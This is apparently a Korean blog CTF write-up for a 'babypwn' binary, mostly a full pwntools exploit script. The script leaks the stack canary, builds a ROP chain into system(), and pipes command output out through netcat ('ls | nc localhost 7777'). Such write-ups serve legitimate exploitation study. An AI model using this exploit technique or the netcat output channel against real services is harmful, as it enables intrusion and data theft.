도라애몽, Nuclear 보다 훨씬 쉬웠던 문제이다.
버퍼를 출력해주는 구문에서 버퍼와 연관된 카나리를 바로 출력할 수 있었으며,
system 함수도 사용하고 있어서(IDA 및 elfsymbols 확인) 바로 rop 공격이 가능하였다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | #!/usr/bin/python from pwn import * context(arch='x86', os='linux', endian='little') e = ELF('./babypwn') rop = ROP(e) ip = 'localhost' port = 8181 #leak canary r = remote(ip, port) print r.recv(4096) r.send('1\n') print r.recv(4096) r.send('a'*41) data = r.recv(4096) print hexdump(data) canary = u32('\x00'+data[0x29:0x2c]) print '[+] leak canary : 0x%x' %canary #exploit! r2 = remote(ip, port) cmd = "ls | nc localhost 7777\x00" rop.recv(0x04, e.bss(), len(cmd),0) rop.system(e.bss()) payload = "a"*40 + p32(canary) + 'b'*12 + rop.chain() print r2.recv(4096) r2.send('1\n') print r2.recv(4096) r2.send(payload) print r2.recv(4096) r2.send('3\n') r2.send(cmd) | cs |
'공부는 계속 .. > Pwnable Writeup' 카테고리의 다른 글
Protostar heap3 (0) | 2018.02.27 |
---|---|
Double Free Bug (0) | 2018.02.23 |
Codegate 2014 Nuclear (0) | 2018.02.21 |
basic-rop (1) | 2018.02.20 |
Codegate 2014 Angry_Doraemon (0) | 2018.02.19 |